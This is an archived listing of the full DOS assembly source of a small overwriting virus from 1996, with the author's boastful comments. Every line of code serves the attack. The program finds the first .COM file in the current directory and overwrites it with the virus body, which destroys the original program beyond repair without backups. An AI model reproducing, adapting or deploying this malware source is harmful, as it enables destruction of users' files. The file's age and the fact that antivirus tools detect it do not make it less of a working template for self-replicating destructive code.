home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / A.ZIP / Auvstiny.asm < prev    next >
Assembly Source File  |  1996-03-31  |  1KB  |  24 lines

  1. ;AuVS.tiny.OVERWRITING.0001
  2. ;My 1st VIRUS!!!!!!!!!!!!!!
  3. ;This is an extremely simple overwriting, tiny virus, that is easy to 
  4. ;detect, but there's not much to do to clean it if you have no backups
  5. ;F-PROT detects this as an unknown TRIVIAL variant
  6. START:
  7.     mov ah,4Eh              ;Find first *.COM file in current dir
  8.     lea dx,OFFSET MASK      ;*.COM
  9.     xor cx,cx               ;xero out da register
  10.     int 21h                 ;find
  11.     mov dx,009Eh            ;file handle
  12.     mov ax,3D01h            ;open file for writing
  13.     int 21h                 ;do it
  14.     mov bx,ax               ;put handle in bx
  15.     mov ah,40h              ;write to file
  16.     mov cx,END - START      ;find size of file even if modified
  17.     lea dx,OFFSET START     ;the START
  18.     int 21h                 ;WRITE IT, DAMN IT!!
  19.     int 20h                 ;END IT ALL
  20. Mask            db      '*.COM',0
  21. Copyright       db      'Copyright `96, KALiPORNiA'
  22. VirusName       db      'AuVS.TINY.OVERWRITING.0001'
  23. END:
  24.